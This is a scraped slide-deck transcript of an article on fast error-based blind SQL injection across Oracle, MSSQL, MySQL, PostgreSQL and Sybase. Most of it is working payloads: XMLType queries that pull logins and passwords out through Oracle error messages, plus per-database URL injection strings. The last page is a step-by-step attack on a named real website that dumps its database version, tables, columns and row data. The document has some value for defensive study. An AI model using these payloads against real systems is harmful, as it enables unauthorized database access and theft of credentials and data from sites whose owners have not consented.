13
Methods of quick exploitation of blind SQL Injection Vulnerabilities in Oracle I had gathered an interesting collection of quick methods of blind SQL Injection exploitation, but I was lacking in a similar method for another widespread DBMS – Oracle. It induced me to conduct a small research intended for discovering analogous methods applicable to the specified database. I found out that all known methods of error-based Blind SQL Injection exploitation don’t work in the Oracle environment. Then, my attention was attracted by the functions of interaction with the XML format. After a short investigation, I found a function XMLType() that returns the first symbol of requested data in the error message (LPX-00XXX): SQL> select XMLType((select 'abcdef' from dual)) from dual; ERROR: ORA-31011: XML parsing failed ORA-19202: Error occurred in XML processing LPX-00210: expected '<' instead of 'a' Error at line 1 ORA-06512: at "SYS.XMLTYPE", line 301 ORA-06512: at line 1 no rows selected SQL> Anyway, that's something. Now we can use the function substr() to read the desired information symbol-by-symbol. For example, we can rather quickly determine the version of the installed database: select XMLType((select substr(version,1,1) from v$instance)) from users; select XMLType((select substr(version,2,1) from v$instance)) from users; select XMLType((select substr(version,3,1) from v$instance)) from users; ...etc.

Methods of Quick Exploitation of Blind SQL Injection Vulnerabilities in Oracle

Embed Size (px)

Citation preview

Page 1: Methods of Quick Exploitation of Blind SQL Injection Vulnerabilities in Oracle

Methods of quick exploitation of blind SQL Injection Vulnerabilities in Oracle I had gathered an interesting collection of quick methods of blind SQL Injection exploitation, but I was lacking in a similar method for another widespread DBMS – Oracle. It induced me to conduct a small research intended for discovering analogous methods applicable to the specified database. I found out that all known methods of error-based Blind SQL Injection exploitation don’t work in the Oracle environment. Then, my attention was attracted by the functions of interaction with the XML format. After a short investigation, I found a function XMLType() that returns the first symbol of requested data in the error message (LPX-00XXX): SQL> select XMLType((select 'abcdef' from dual)) from dual; ERROR: ORA-31011: XML parsing failed ORA-19202: Error occurred in XML processing LPX-00210: expected '<' instead of 'a' Error at line 1 ORA-06512: at "SYS.XMLTYPE", line 301 ORA-06512: at line 1 no rows selected SQL> Anyway, that's something. Now we can use the function substr() to read the desired information symbol-by-symbol. For example, we can rather quickly determine the version of the installed database: select XMLType((select substr(version,1,1) from v$instance)) from users; select XMLType((select substr(version,2,1) from v$instance)) from users; select XMLType((select substr(version,3,1) from v$instance)) from users; ...etc.

Page 2: Methods of Quick Exploitation of Blind SQL Injection Vulnerabilities in Oracle

Reading one symbol per one query during Blind SQL Injection exploitation is good, but it would be light-heartedly to stop at that. We will go further. After investigating the function XMLType() in detail, I managed to find an analogous method to place data into the error message, which can be also applied to other databases: SQL> select XMLType((select '<abcdef:root>' from dual)) from dual; ERROR: ORA-31011: XML parsing failed ORA-19202: Error occurred in XML processing LPX-00234: namespace prefix "abcdef" is not declared ... SQL> select XMLType((select '<:abcdef>' from dual)) from dual; ERROR: ORA-31011: XML parsing failed ORA-19202: Error occurred in XML processing LPX-00110: Warning: invalid QName ":abcdef" (not a Name) ... SQL> It seems to be great, but there are several pitfalls. The first problem is that Oracle doesn’t implement automated type conversion. Therefore, the following query will cause an error: SQL> select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual); select * from users where id = 1 and(1)=(select XMLType((select '<:abcdef>' from dual)) from dual) ERROR at line 1: ORA-00932: inconsistent datatypes: expected NUMBER got -

Page 3: Methods of Quick Exploitation of Blind SQL Injection Vulnerabilities in Oracle

The second problem is that Oracle has no limit or offset, which doesn’t allow one to read data line-by-line easily. Finally, the third difficulty is related to the fact that the function XMLType() truncates the returned data after certain symbols, e.g. space character and the "at" sign ("@"). However, there is no problem we could not solve;) To dispose of the problem of type conversion, one can apply the function upper(). Line-by-line data reading can be implemented using the following simple construction: select id from(select id,rownum rnum from users a)where rnum=1; select id from(select id,rownum rnum from users a)where rnum=2; ... At last, to avoid the loss of returned data, hex coding can be applied. Additionally, the quotes can be excluded from the sent query using numeric representation of symbols (ascii), which will later allow one to bypass filtering at the stage of processing the data that comes into the application. Thus, the resulting query becomes: select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=1)||chr(62)))from dual); select * from table where id = 1 and(1)=(select upper(xmltype(chr(60)||chr(58)||chr(58)||(select rawtohex(login||chr(58)||chr(58)||password)from(select login,password,rownum rnum from users a)where rnum=2)||chr(62)))from dual); ... Using this technique, we can obtain up to 214 bytes of data (107 symbols in case of hex coding) per one http request from an application that operates under DBMS Oracle >= 9.0 and returns error messages:

Page 4: Methods of Quick Exploitation of Blind SQL Injection Vulnerabilities in Oracle

http://server/?id=(1)and(1)=(select+upper(xmltype(chr(60)||chr(58)||chr(58)||(select+rawtohex(login||chr(58)||chr(58)||password)from(select+login,password,rownum+rnum+from+users+a)where+rnum=1)||chr(62)))from dual)--

To decode the data obtained from an application using the described method of SQL Injection exploitation, one can use, for example, the following standard Oracle function:

Thus, taking into account previous publications devoted to this theme, we have universal and quick techniques of error-based Blind SQL Injection exploitation available for the following DBMSs: PostgreSQL:

Page 5: Methods of Quick Exploitation of Blind SQL Injection Vulnerabilities in Oracle

/?param=1 and(1)=cast(version() as numeric)-- MSSQL: /?param=1 and(1)=convert(int,@@version)-- Sybase: /?param=1 and(1)=convert(int,@@version)-- MySQL>=4.1<5.0: /?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from TABLE_NAME group by x)a)-- OR /?param=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)-- MySQL>=5.0: /?param=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)—

Methods of Quick Exploitation of Blind SQL Injection A couple of days ago TinKode attracted everybody’s attention by breaking a web site in the domain army.mil. The server onestop.army.mil was attacked and the investigator found a Blind SQL Injection vulnerability on it. A logically true query:

Page 6: Methods of Quick Exploitation of Blind SQL Injection Vulnerabilities in Oracle

A logically false query:

This time, I was most interested not in the fact of server compromise, but in the applied technique of exploitation of Blind SQL Injection vulnerability at DBMS MSSQL 2000:

Page 7: Methods of Quick Exploitation of Blind SQL Injection Vulnerabilities in Oracle

Thus, if casting via the function convert() is unsuccessful, then MSSQL will place useful data into the error message! Testing of a later version of MSSQL 2005 showed that the technique used by TinKode is applicable to it, too: select convert(int,@@version); select convert(int,(select table_name from(select row_number() over (order by table_name) as rownum,table_name from information_schema.tables) as t where t.rownum=1)); select convert(int,(select table_name from(select row_number() over (order by table_name) as rownum,table_name from information_schema.tables) as t where t.rownum=2)); ...

Page 8: Methods of Quick Exploitation of Blind SQL Injection Vulnerabilities in Oracle

Similar manipulations with casting were conducted for a widespread DBMS MySQL. The experiment showed that in case of unsuccessful casting, MySQL returns a non-critical notification that cannot be used to achieve the same results for Blind SQL Injection exploitation: mysql> select cast('str1' as char); +----------------------+ | cast('str1' as char) | +----------------------+ | str1 | +----------------------+ 1 row in set (0.00 sec) mysql> select cast('str1' as decimal); +-------------------------+ | cast('str1' as decimal) | +-------------------------+ | 0 | +-------------------------+ 1 row in set, 1 warning (0.01 sec) mysql> show warnings; +---------+------+-------------------------------------------+ | Level | Code | Message | +---------+------+-------------------------------------------+

Page 9: Methods of Quick Exploitation of Blind SQL Injection Vulnerabilities in Oracle

| Warning | 1292 | Truncated incorrect DECIMAL value: 'str1' | +---------+------+-------------------------------------------+ 1 row in set (0.00 sec) mysql> select convert('str2',char); +----------------------+ | convert('str2',char) | +----------------------+ | str2 | +----------------------+ 1 row in set (0.00 sec) mysql> select convert('str2',decimal); +-------------------------+ | convert('str2',decimal) | +-------------------------+ | 0 | +-------------------------+ 1 row in set, 1 warning (0.00 sec) mysql> show warnings; +---------+------+-------------------------------------------+ | Level | Code | Message | +---------+------+-------------------------------------------+ | Warning | 1292 | Truncated incorrect DECIMAL value: 'str2' | +---------+------+-------------------------------------------+ 1 row in set (0.00 sec) Well and good:) But then, the universal exploitation technique by Qwazar is applicable to all MySQL versions: select count(*),concat(version(),floor(rand(0)*2))x from table group by x; select count(*),concat((select user from mysql.user limit

Page 10: Methods of Quick Exploitation of Blind SQL Injection Vulnerabilities in Oracle

0,1),floor(rand(0)*2)) x from mysql.user group by x; select count(*),concat((select user from mysql.user limit 1,1),floor(rand(0)*2)) x from mysql.user group by x; ... select 1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1);

Using one such request, an attacker can obtain up to 64 bytes of useful data from the error message. This technique can be used for MySQL >= v3.x.

Further experiments with the technique proposed by TinKode showed that this method can be applied to PostgreSQL, too: select cast(version() as numeric); select cast((select table_name from information_schema.tables

Page 11: Methods of Quick Exploitation of Blind SQL Injection Vulnerabilities in Oracle

limit 1 offset 0) as numeric); select cast((select table_name from information_schema.tables limit 1 offset 1) as numeric); ...

Like MSSQL, PostgreSQL doesn’t seriously restrict the length of the data returned within an error message. If the function pg_last_error() is not called within the context of PHP, but error_reporting is still enabled, then one query allows an attacker to obtain up to 1229 bytes of useful data from the error message generated by PHP. Unfortunately, such tricks will not work with Oracle:

It is necessary to consider this DBMS...

Page 12: Methods of Quick Exploitation of Blind SQL Injection Vulnerabilities in Oracle

version. MySQL: /?id=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)-- MSSQL: /?id=1 and(1)=convert(int,@@version)-- PostgreSQL: /?id=1 and(1)=cast(version() as numeric)-- Sybase: /?id=1 and(1)=convert(int,@@version)-- Link error PHP Code: http://www.zhaoshouyi.com/home/shop.php?ac=view&shopid=57 [+] Check database, user, version PHP Code: http://www.zhaoshouyi.com/home/shop.php?ac=view&shopid=57 /*!And (Select 1 From(Select Count(*),Concat(CHAR (124),(Select Concat(version(),0x7c,database(),0x7c,user())),floor(rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)*/-- PHP Code: Duplicate entry '|5.0.45-community-nt|evetcn|evetcn@localhost1|' for key 1 => 5.0.45-community-nt|evetcn|evetcn@localhost1 Get table_name PHP Code: http://www.zhaoshouyi.com/home/shop.php?ac=view&shopid=57 /*!And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),1,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)*/-- cdb_access,cdb_activities,cdb_activityapplies,cdb_ addons,cdb_ad [+]Get Column Text to hex PHP Code: cdb_activities = 0x6364625f61637469766974696573 PHP Code: http://www.zhaoshouyi.com/home/shop.php?ac=view&shopid=57 /*!And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name),1,145) FROM information_schema.columns where table_schema=database() and table_name=0x6364625f61637469766974696573) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)*/-- tid,uid,cost,starttimefrom,starttimeto,place,class ,gender,numbe

Page 13: Methods of Quick Exploitation of Blind SQL Injection Vulnerabilities in Oracle

End PHP Code: http://www.zhaoshouyi.com/home/shop.php?ac=view&shopid=57 /*!And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(tid,0x7c,uid,0x7c,cost),1,145) FROM cdb_activities) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)*/-- 15799529|1452|01 thank for read